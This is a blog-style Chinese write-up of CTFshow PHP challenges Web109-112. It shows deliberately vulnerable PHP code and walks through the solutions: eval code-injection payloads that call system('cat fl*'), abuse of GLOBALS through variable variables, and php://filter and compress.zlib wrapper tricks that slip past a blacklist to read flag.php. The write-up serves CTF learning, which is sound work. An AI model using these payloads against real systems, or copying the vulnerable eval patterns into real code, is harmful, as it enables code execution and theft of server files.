CTFshow系列——PHP特性Web109-112
也是三天没更新文章了;主要是这三天都在不断的面试,笔试(给我整得精神崩溃了都)。
所以今天也是给大家带来一篇php特性的CTF题目讲解
文章目录
- Web109
- 代码分析:
- WP思路:
- PHP 常见内置类(适合直接 `new` 的)
- Web110
- 分析代码
- Web111
- 代码分析
- Payload构造
- Web112
- 代码分析:
- Payload
- **方法一**:利用 php://filter + 二次 URL 编码绕过
- **方法二**:使用 php://filter + 其他过滤器
- **方法三**:使用zlib协议
- 总结
Web109
话不多说,也是直接开始:
<?phphighlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){eval("echo new $v1($v2());");}}?>
代码分析:
-
核心漏洞在于
eval("echo new $v1($v2());");
这一行。- 它直接将
$v1
和$v2
的值拼接进 eval 语句,这非常典型的 代码注入(Code Injection) 漏洞。
- 它直接将
-
存在一个过滤器:
preg_match('/[a-zA-Z]+/', $v)
:- 这意味着 $v1 和 $v2 必须至少包含一个英文字母,才能通过检查。
思路:利用 $v2 来注入我们的命令。由于 new v1(v1(v1(v2()); 结构中 $v2 位于括号内,我们可以使用反引号 ` 或引号 ’ 来执行 shell 命令。
那么根据上述,我也是尝试构造了一些payload:
?v1=system&v2=ls;
?v1=a&v2=system('cat /flag')
但是很遗憾,并没有出现flag;这是怎么回事?
WP思路:
分析:
- 看见 new 就应该想到类,因此
v1
就是类名 - 类分为php内置类、用户自定义的类、匿名类,自定义的类在这里不能使用,只剩两种
知识点:
1、内置类与匿名类
2、魔术方法
原来是用到PHP的构造类,就说怎么之前简单的代码拼接行不通了。(题目也不给点提示)
而常用的PHP内置类,那可就多了:
v1
→ 类名(必须是一个 PHP 内置类或者自定义类)v2
→ 函数名(会被执行)
PHP 常见内置类(适合直接 new
的)
以下是一些常用的 PHP 内置类,可用于测试:
-
异常相关
Exception
ErrorException
-
文件/目录相关
DirectoryIterator
FilesystemIterator
RecursiveDirectoryIterator
SplFileObject
-
日期时间
DateTime
DateTimeZone
DateInterval
(等等,还有很多)
# PHP内置类
?v1=Exception&v2=system(ls)# 还有一种匿名类+魔术方法的(网上WP)
?v1=class{ public function __construct(){system('ls');}};&v2=w
得到flag:
# 查看源代码:
?v1=Exception&v2=system('cat fl*')
?v1=class{ public function __construct(){system('cat fl*');}};&v2=w
(payload不唯一,除了system
函数,还有很多方法;具体请看命令执行系列的文章)
Web110
<?phphighlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){die("error v1");}if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){die("error v2");}eval("echo new $v1($v2());");}?>
观察代码,发现除了正常的 [a-zA-Z]
字母,好像大部分特殊字符都被过滤掉了;那我们接下来有什么办法执行命令呢?
分析代码
- 禁掉了匿名类的payload
- 要求:不允许使用特殊字符与数字
v1
只能是类,v2
为函数或方法,且无参数
新的问题又出现了:有什么函数或者方法是我们能够直接查看目录或者文件的?
有的,上一道题目我不是列出来一些内置类了吗;其中不就有与文件目录相关的吗?
-
文件/目录相关
DirectoryIterator
FilesystemIterator
RecursiveDirectoryIterator
SplFileObject
而函数不需要参数,说明常用的scandir()、golb(),passthru(),exec(),shell_exec()等函数都不能用了;
但是,getcwd()
函数 不需要参数
所以 v1
我们选择读取文件内置类 FilesystemIterator,v2
=getcwd
# payload# 列出目录
?v1=FilesystemIterator&v2=getcwd
那么flag呢,如何读取?直接访问 **
url/fl36dga.txt
麻了,这些题目都是看WP做出来的。
Web111
老样子,先看代码:
<?phphighlight_file(__FILE__);
error_reporting(0);
include("flag.php");function getFlag(&$v1,&$v2){eval("$$v1 = &$$v2;");var_dump($$v1);
}if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){die("error v1");}if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){die("error v2");}if(preg_match('/ctfshow/', $v1)){getFlag($v1,$v2);}
}
?>
代码分析
-
getFlag()
函数: 这是核心漏洞所在。 -
eval(" $$v1 = &$$v2;");
:eval() 函数会执行其参数中的字符串作为 PHP 代码。- $$v1 和 $$v2 是 可变变量 (variable variables)。这意味着,变量的名称本身存储在 $v1 和 $v2 中。
- 例如,如果 $v1 的值是 “x”,$$v1 就等同于 $x。
&$$v2
:这里的 & 表示 引用 (reference)。这条语句的意图是将 $v1 所指的变量,设置为 $v2 所指的变量的一个引用。
-
var_dump($$v1);
:这会打印出 $v1 所指的变量的类型和值。 -
preg_match('/.../', $v)
:- 正则表达式意味着我们只能使用 英文字母 (a-z, A-Z) 作为 $v1 和 $v2 的值。
-
ctfshow 检查: if(preg_match(‘/ctfshow/’, $v1)) 强制要求 $v1 的值中必须包含 ctfshow 这个字符串。
所以我们可以构造的payload为:
?v1=ctfshow&v2=flag
但是却返回NULL。。。这又是什么原因?
Payload构造
考察:全局变量 为了满足条件,我们可以利用全局变量来进行赋值给ctfshow这个变量 payload: ?v1=ctfshow&v2=GLOBALS
WP的解释:注意 PHP 的函数具有词法作用域
在函数内部无法调用外部的变量,除非进行传参。这道题无非注意以下几点:
-
我们最终要得到 $flag 的值,就需要 var_dump($$v1) 中的 $v1 为 flag,即 $v2 要为 flag,这样 $$v2 就为 $flag,&$$v2 就为 $flag 对应的值
-
URL 传参时 $v2 不能直接传为 flag,否则 $flag 会因“函数内部无法调用外部变量”的限制而导致其返回 null
-
要想跨过词法作用域的限制,我们可以用 GLOBALS 常量数组,其中包含了 $flag 键值对,就可以将 $flag 的值赋给 $$v1
Payload:…/?v1=ctfshow&v2=GLOBALS
# payload
?v1=ctfshow&v2=GLOBALS
(我真的没招了,这又是哪来的新知识点)
Web112
<?phphighlight_file(__FILE__);
error_reporting(0);
function filter($file){if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){die("hacker!");}else{return $file;}
}
$file=$_GET['file'];
if(! is_file($file)){highlight_file(filter($file));
}else{echo "hacker!";
}
代码分析:
- 代码先判断
is_file($file)
:- 如果是真实文件,直接退出程序;
- 因此能被
highlight_file()
处理的路径,往往是“不是普通文件”的情形(例如 PHP 的流包装器php://
、phar://
、zip://
等,或经过某种编码使 is_file() 返回 false)。
- filter() 用的是黑名单:
- file 不能是文件,且不能使用 http、https、data 伪协议,不能使用 input 参数,不能使用 rot13、base64、string 过滤器
Payload
思路很明显了,我们可以直接使用PHP伪协议来构造我们的payload:
方法一:利用 php://filter + 二次 URL 编码绕过
?file=php://filter/convert.%2562%2561%2563%2565%2536%2534-encode/resource=flag.php
- 解码过程:
%25
→%
%62%61%63%65%36%34
→base64
方法二:使用 php://filter + 其他过滤器
?file=php://filter/read=convert.iconv.utf-8.utf-16/resource=flag.php
- 说明:
iconv
转码器不在黑名单中,可以用它把文件内容转成另一种编码(比如utf-16
),然后输出。- 这样也能泄露文件源码,只是要手动再转换回来。
- 好处:完全不需要 base64 关键字,自然绕过黑名单。
方法三:使用zlib协议
?file=compress.zlib://flag.php
- 解释:
compress.zlib://
是什么
- PHP 内置了 流包装器(stream wrapper),允许对文件做“透明压缩/解压”操作。
compress.zlib://
的作用是:
- 读取文件时自动解压缩(如果文件是压缩的,也可以直接当普通文件读)。
- 不是普通路径,
is_file()
会返回false
,所以条件满足进入highlight_file()
分支。
并且代码黑名单只屏蔽了:
../ http https data input rot13 base64 string
compress.zlib://
并不包含这些关键字,所以preg_match()
不会拦截。
-
highlight_file()
会读取compress.zlib://flag.php
:- PHP 会把它当作 zlib 流读取;
- 因为文件没压缩,PHP 会直接读取原始字节,显示源码。
以上方法都能得到flag。
总结
这些php特性题目也是涉及到的知识点也是越来越多了,我有些招架不住了。